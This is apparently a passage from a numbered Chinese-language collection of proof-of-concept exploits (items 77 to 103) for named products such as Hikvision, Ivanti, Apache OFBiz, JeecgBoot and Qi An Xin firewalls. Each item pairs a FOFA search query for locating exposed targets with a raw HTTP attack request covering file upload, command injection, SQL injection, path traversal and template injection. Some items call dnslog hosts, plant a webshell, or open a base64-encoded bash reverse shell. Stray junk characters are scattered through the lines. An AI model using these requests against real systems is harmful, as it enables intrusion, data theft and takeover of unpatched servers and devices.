$ R# x- w- o7 ~6 D- m% J$ s0 F77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
0 K: x: ?, G1 C1 _& m" q% rPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
! e$ [9 q* ^3 W2 E* j0 k: {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. M- {3 b1 L- N4 D$ A! p% wConnection: close
9 z7 ?) U, ^. w* P  k' Z1 b. VContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
* }8 W2 X$ W2 G0 ]' L7 vAccept-Language: zh-CN,zh;q=0.9
, z5 a  e2 x3 i: F1 O. fContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
; Y7 X4 e4 N7 V7 {Content-Disposition: form-data; name="folder"

/upload/udplog
1 |3 B6 d/ N( r+ L------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
: ~2 C" C5 d6 m# YContent-Type: application/octet-stream

hello1234567
/ T2 U- m5 r  m------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
* r+ c1 k/ d2 ]' J; h6 C, D9 M- }3 R
Submit Query
& Q. u. G  O3 _9 i+ H) y------------398jnjVTTlDVXHlE7yYnfwBoix--
2 P7 F5 ^- {3 b8 S0 Y; Y
9 {) E9 t- D: R/ Y% ?3 F
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
5 g1 p& l; Q9 K7 l5 j+ f" w  fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# J; }7 R3 J9 u* |$ P. x5 AConnection: close
Content-Length: 336
Accept-Encoding: gzip
* n& _3 N7 W: m! _6 N7 Z9 QContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
: e9 Y( n% @* a
" h. @; F* j- t3 @' }------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
. A9 I' ~$ U2 c2 S5 H6 aContent-Type: image/png
: y0 V/ ~  k6 G. `! i% {- Z8 F
YsOxWxSvj1KyZow1PTsh98fdu6l
) V( z) e; Q: u& M% ?------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
4 t3 l' k! F4 _/ h. \9 k
, @! G4 w( f: s6 a+ G) x5 H9 K! Y, h/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
4 c, M  U6 }* h4 X
+ l- I- v6 \2 |4 z* M! e
7 W. F6 [) v$ q$ Y+ yGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
8 a3 J( b6 L$ z% u  HHost: x.x.x.x


- W8 Y& F( @$ |# J2 }" L79. BYTEVALUE 百为流控路由器远程命令执行
+ h- R6 B+ A0 L/ L" MFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
# `# |# p$ Y( s$ n3 X1 DHost:IP
  c- t: I5 Y" L/ v. w$ y+ MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
# ^1 s5 y, |6 G3 I$ m% F4 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! h5 U! [+ v3 S% yAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
9 W% E" V2 u1 b  u/ ?5 @0 V

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
) [2 F* ~4 ?9 MPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
& X7 x. E2 r' XHost: x.x.x.x
- f) y/ ?3 a) e7 g" g& l0 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, j/ I! X% I1 w3 wConnection: close
$ F$ `) U# {8 d- I( Z1 WContent-Type: application/octet-stream
  ~+ L' h/ e, J( A* g" ^* |Upgrade-Insecure-Requests: 1
( i7 ]" X) k4 A7 g
, e) S; b! Q* Z* m! l! ?2 k<% out.print("oessqeonylzaf");%>
* t* v9 N; i: A1 B. u
, Y' j  s3 \4 z2 E
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
3 X" V; D. M5 G) t5 s. WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 h& e1 c1 u3 W! D. x. y( g9 FConnection: close
Accept-Encoding: gzip

7 T+ J) w9 V3 R+ w$ K
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 |) V9 l. Y0 h% e. r- |2 j& o- cFOFA：app="uniview-视频监控"
# `- c6 [. ^& J9 @0 i# M. z9 D; K2 kGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
# M, B% T7 }# y3 Q( z( }+ [% e2 dHost: x.x.x.x
/ Q# r+ ^7 \( e- cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 ?4 B; _+ ]1 v) \$ dConnection: close
Accept-Encoding: gzip
# f, W$ ]8 j% e* Y/ s4 O8 }( `: d5 R
. ?2 r0 v  E+ N
& P( i& W  o+ E( v: O$ Z1 l" t, ^82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
! S, n$ U0 T0 F$ _9 m' D, @POST /bhost/test_qrcode_b HTTP/1.1
1 U6 X! \) k9 Y1 SHost: BaseURL
5 U! u3 l0 u$ Z2 HUser-Agent: Go-http-client/1.1
1 e$ F8 L2 e- }Content-Length: 23
Accept-Encoding: gzip
8 c: `* ]" f+ k! K8 M6 iConnection: close
3 @+ K7 P7 Q7 V& s+ ]' Y3 u" PContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
) c5 {+ `* [( J! d( G+ s' p
z1=1&z2="|id;"&z3=bhost

8 _4 k2 d! o: A, B. z
83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"

" n4 \) h7 v- C6 p
/ T1 A/ R6 N1 @- V( k/ _7 l; f$ _POST /jmreport/testConnection HTTP/1.1
1 \9 A. o% P. N6 ^( yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ s" t: }- e$ EConnection: close
Content-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
  \1 |4 |; f- S0 [2 bContent-Type: application/json

( q; n) J# B' ZPAYLOAD
0 z: Q' X% P4 u) l& h8 H4 X: O
/ n: K0 O9 {8 e84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"



POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
& `+ ]  N) V% @" u7 f+ RUser-Agent: curl/7.88.1
Content-Length: 156
5 y  ?3 N$ j- g# EAccept: */*
Connection: close
# W/ ]& g: p$ k% ^% UContent-Type: application/json
7 u4 _5 z) V+ O) A4 C! k# ?Accept-Encoding: gzip

{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
5 B& D( j; Y) X  m5 a}
8 p2 x/ _7 Q6 `* U

3 ~. V" n, D9 ~0 u7 S+ J. F) y3 w85. SysAid On-premise< 23.3.36远程代码执行
. {- V1 w# g* vCVE-2023-47246
" Y1 V1 x/ G8 zFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% g- z: Z& X4 j; EHost: x.x.x.x
- i2 V, S0 r3 E7 {5 O" |0 @4 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

  i8 s7 ?3 Y- f: q' N4 [PAYLOAD
' v7 t% F2 y9 O% G( w
回显URL：http://x.x.x.x/userfiles/index.jsp
) X, E8 T* c/ g6 z# z
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
3 I! G2 u4 p( ?+ wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
) M0 {" R' k8 `Content-Length: 44
. T6 y5 c5 A% S$ `* A& i  n3 V! _: IAccept: */*
Accept-Encoding: gzip
Accept-Language: en
  y* K' _/ o. @Content-Type: application/x-www-form-urlencoded
9 u% c# h( `7 p2 q! v. Y
host=%0acat${IFS}/etc/passwd%0a&command=ping


8 ^5 b% A4 V9 C2 o  x87. 安恒明御安全网关aaa_local_web_preview文件上传
, O3 q5 K+ S3 d- M) L! qFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
: o# M6 h5 o6 E* D9 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- N/ W: ]' `% g0 h; UConnection: close
; m. `3 C4 I6 |9 Q& ]Content-Length: 198
+ X+ _6 E0 E% `7 n8 g/ KAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
& j/ K# t+ A, m/ w; S
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
: X. w+ k  _' e8 R' Z. @2 H1 D
: v' r  s1 |5 m7 C9 j7 E6 Z3 n2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php
: M; B9 e- k# @: R
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
0 C! _. |- V) z) Q' ]5 {4 H1 lFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
/ y( E( V* U" t# N0 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. l5 @& o+ X% \! sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 s# d5 e0 h) T* tAccept-Encoding: gzip, deflate
  f9 [7 a! d7 {: OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 p3 u- u0 k, v5 \# r. L5 k

1 E1 b. ?0 Y/ D' ]/astdfkhl.php

/ Y: j6 T; I: A0 U! t* T89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
; U1 t! `' J" u" t7 V; _POST /sysform/003/editflow_manager.js%70 HTTP/1.1
$ `6 t! e6 E" k$ lHost: x.x.x.x
9 X, |  ~- G9 S5 Q, h$ q; W, j# q& GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
+ d7 h' }$ Y( w  sContent-Length: 41
Content-Type: application/x-www-form-urlencoded
6 K! ^3 r0 r( @' k* Q9 q6 zAccept-Encoding: gzip
, E, q& C* P. W: h% M
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
. I+ q+ V, G- |; `- iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
5 h) A0 v6 s6 _2 e  T( _6 ZContent-Length: 51
, s3 w: h6 @2 |Accept: application/json, text/javascript, */*; q=0.01
! S3 _/ s: A, J, I" @. E0 pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 W* r* G, T+ t7 O1 o7 y; w- G/ EConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
2 q, e/ L* l2 y
5 b% E7 V) k8 K9 x; ~' x4 Ujsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
% O; d' }3 f$ Y4 RHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
  V; y$ p$ i, R) R/ n" @Accept-Encoding: gzip, deflate
1 k7 f. j% J% N* [+ y5 t: a0 dAccept: */*
& R' ]$ A4 R5 L- ~Connection: keep-alive

7 z( r# f: }! N
' N& X1 G/ S7 g5 g' s6 Q
92. 海康威视运行管理中心session命令执行
/ U4 j7 J7 B6 |* B# QFastjson命令执行
" I+ Z7 g- u. ~* p9 c) rhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 X3 b7 H& D3 W3 XPOST /center/api/session HTTP/1.1
' I/ g. _) L" F' R( s" D4 ~Host:
& m+ q% x! o0 i- A5 I! xAccept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
7 a; K* s4 X$ ^. }X-Requested-With: XMLHttpRequest
: r# t9 h5 X# C- J' j  uContent-Type: application/json;charset=UTF-8
  g' N! v& {6 \* C8 c* N& ]X-Language-Type: zh_CN
; Y' M  X. E0 iTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
/ d7 u9 |/ C% P9 ?: j$ q* `/ RContent-Length: 5778

PAYLOAD


* A3 ?% }8 H6 L/ W+ v, o93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
/ S9 T& H  w* F9 XHost: x.x.x.x
6 d) C/ {9 }5 P3 iContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
9 X, k+ U( H9 P7 |5 [Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
8 o+ g  k4 E) O/ v* V5 @------WebKitFormBoundarykcbkgdfx
! x$ D; l# S) a7 u! l4 JContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
( }( v6 H1 E6 \* C: xContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
* W* D1 T- s/ K' U1 Y------WebKitFormBoundarykcbkgdfx
5 P& k- X! s% _! a. S3 iContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

7 C1 V5 j. e+ W& A- b6 D4 E0b9d6b1ab7479ab69d9f71b05e0e9445
4 p8 x/ k% t$ T# P------WebKitFormBoundarykcbkgdfx--

9 X6 w( ~; }9 M/ N7 |
$ f6 K9 k+ I8 T2 F0 O: `GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& B+ T! G; T% S$ W3 D6 ^+ a! M0 v( v
+ I$ _3 o. {. I  T
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
' m# A7 _( Q" U0 |POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
( M) I, p7 i4 P( m: kContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
% ^" U; }* R$ A: q: ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

/ |) \7 k4 L1 K' C" ~$ ^* q2 s8 [------WebKitFormBoundarybqvzqvmt
; {6 P* ?9 ~7 C: dContent-Disposition: form-data; name="MAX_FILE_SIZE"

9 D* z* s8 o# S' _10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
' m% P: d% a7 {0 |# sContent-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

1 e) a  `* z4 X/ ^1 b$ ~2 Z4 \obj_app_upfile
' z" z0 E0 \' p4 K# V------WebKitFormBoundarybqvzqvmt
- Z$ g! {2 K- }. @Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
7 Q0 t1 q: z  T4 l  j0 n, G------WebKitFormBoundarybqvzqvmt--


" K+ N1 n5 T, W2 W
GET /attachements/xlskxknxa.txt HTTP/1.1
$ B7 K, w0 T& h* J2 a1 MHost: xx.xx.xx.xx
: t9 ], n( `: R* K7 aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

2 T3 H' q$ `2 u0 [  D
; ~% J0 z$ C9 K9 N/ L2 S
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
3 B3 h/ c* H+ E7 ^FOFA：app="Apache_OFBiz"
9 r' B# ]2 f# D# i; h7 ]2 h) IPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
4 M) O) e( Y- G! {5 P, A- gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
2 S* ]# R2 u* \! R) c1 cContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
( |- H6 y% J( `! [
; n8 t+ ^! A5 s% }<?xml version="1.0"?>
6 Q$ J; J$ e' ~+ F<methodCall>
" o, `5 D# o+ ~  G   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
  A; y$ t9 t6 {( n$ u/ u( C    <params>
0 l- a& {* m0 ?1 l* J. H/ m      <param>
      <value>
6 ?& p+ j- P4 F3 h; X# r        <struct>
$ R; ^7 F4 t. U" E       <member>
/ e+ h3 n* s# w+ P  r6 P0 a7 E          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
( Y& Q" j: R. O- k# l+ D) d+ S; m    </param>
    </params>
</methodCall>

% M$ B" \9 W( b5 H$ {; q3 E" S
用ysoserial生成payload
0 l5 _# U7 x4 V: E5 Y8 kjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


! M9 V! A' B* R9 H8 j9 i  K" X将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
' n% l- f' ?% y- vUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
+ Z9 T% _& y, N; Q3 D7 s6 s. oConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
, d7 J3 G' J" v8 e/ |0 J$ f% y
PAYLOAD

) }6 z: g( [: k6 E96. Apache OFBiz  18.12.11 groovy 远程代码执行
4 d. D1 W: B7 F3 h/ b/ x2 wFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 H5 o7 U6 x; jAccept: */*
3 r( v2 s9 b. P$ L9 v& _: m' kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
% g2 ?! a7 J+ U# g! }; i1 k4 A
groovyProgram=throw+new+Exception('id'.execute().text);
  D) T5 i' F' E" K

4 M' A! {6 Y. o/ H' ]( z9 h( O反弹shell
在kali上启动一个监听
nc -lvp 7777
+ R5 [* t3 u1 f+ z( y5 ^$ k$ U
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
2 a3 v8 s! j  y! k& g: z) l2 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
, g+ {, Q" u* A1 k9 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
- g& f+ v% D" h9 U9 ]Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

  N& K) `8 y8 ~+ g& T+ J2 ?0 U97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
. F, s# `5 n  I8 n. p# hCookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
& P6 w( q# \$ Y5 F

0 q( k! x' o7 j  X" x( w2 y98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
7 l  u% x+ g% _/ M0 [7 ZPOST /function/save HTTP/1.1
! c3 j- P& A! THost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
  v' T$ {8 r* l8 ]- \# k# BContent-Length: 121
  W7 ~* ]  B& @, a5 NAccept: */*
3 }' ~9 a3 W2 @0 Y# OAccept-Encoding: gzip, deflate
# i2 v, W# p9 w/ f  w3 PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
3 h2 c' @" s2 r+ O+ h  E; V( \
, L1 S9 A0 E5 c' H5 K5 D0 Bid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


0 M! S4 Z( {% D& {4 f99. Ncast盈可视高清智能录播系统busiFacade RCE
! p3 }3 n, W7 o. Z9 iCVE-2024-0305
8 w, p* Z9 O9 S$ R7 KFOFA：app="Ncast-产品" && title=="高清智能录播系统"
( x' L( ^5 K* @* I' h7 L  O0 i/ sPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
1 q# H( [( c3 V5 O! bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
/ R& y+ I, o* P7 `4 j/ E& TX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
# Q8 Y: ^+ N) h! \CVE-2024-0352
; q1 a: E" ~$ i7 BFOFA：icon_hash="874152924"
$ r  z, `4 A  [, MPOST /api/file/formimage HTTP/1.1
! h: P8 |$ o6 j6 P. z7 `Host: 192.168.40.130
) e+ l: P6 e- v% |" D9 RUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 F4 R. H7 L1 X4 L: x: fConnection: close
6 y* c, l" u. A  Q1 uContent-Length: 201
% h- B- Y% z* F& R: ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
% \) v# u) {8 k  H  `* {Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
4 m( ^5 L0 f$ w5 y. wContent-Type: application/x-php

- R: d& j1 Z5 o9 n1 K+ [2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

  `% q( n3 d7 ?" J0 y
3 N( Q2 q, }3 L8 e101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
; k" x0 @+ _1 cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
( y# _& y7 }. e. HAccept-Encoding: gzip
# X4 r- U. O* j

2 P* C  V( J% @3 {% K102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
: P8 S9 O7 q' b( t# [6 BCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
( R) m1 M0 }8 \# d# \+ `' n5 EPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
5 `  Y/ m  E7 i% jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
  Z2 c; L# Y/ n$ a( w0 p( _- OContent-Length: 792
  T% X, |/ ~' K3 @$ {' HAccept-Encoding: gzip
1 m* k6 q, L8 Y% e5 S& ]3 e
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
: B# E+ ~3 {* \; ~2 k
( A0 O; l. o7 P: j8 m$ s103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
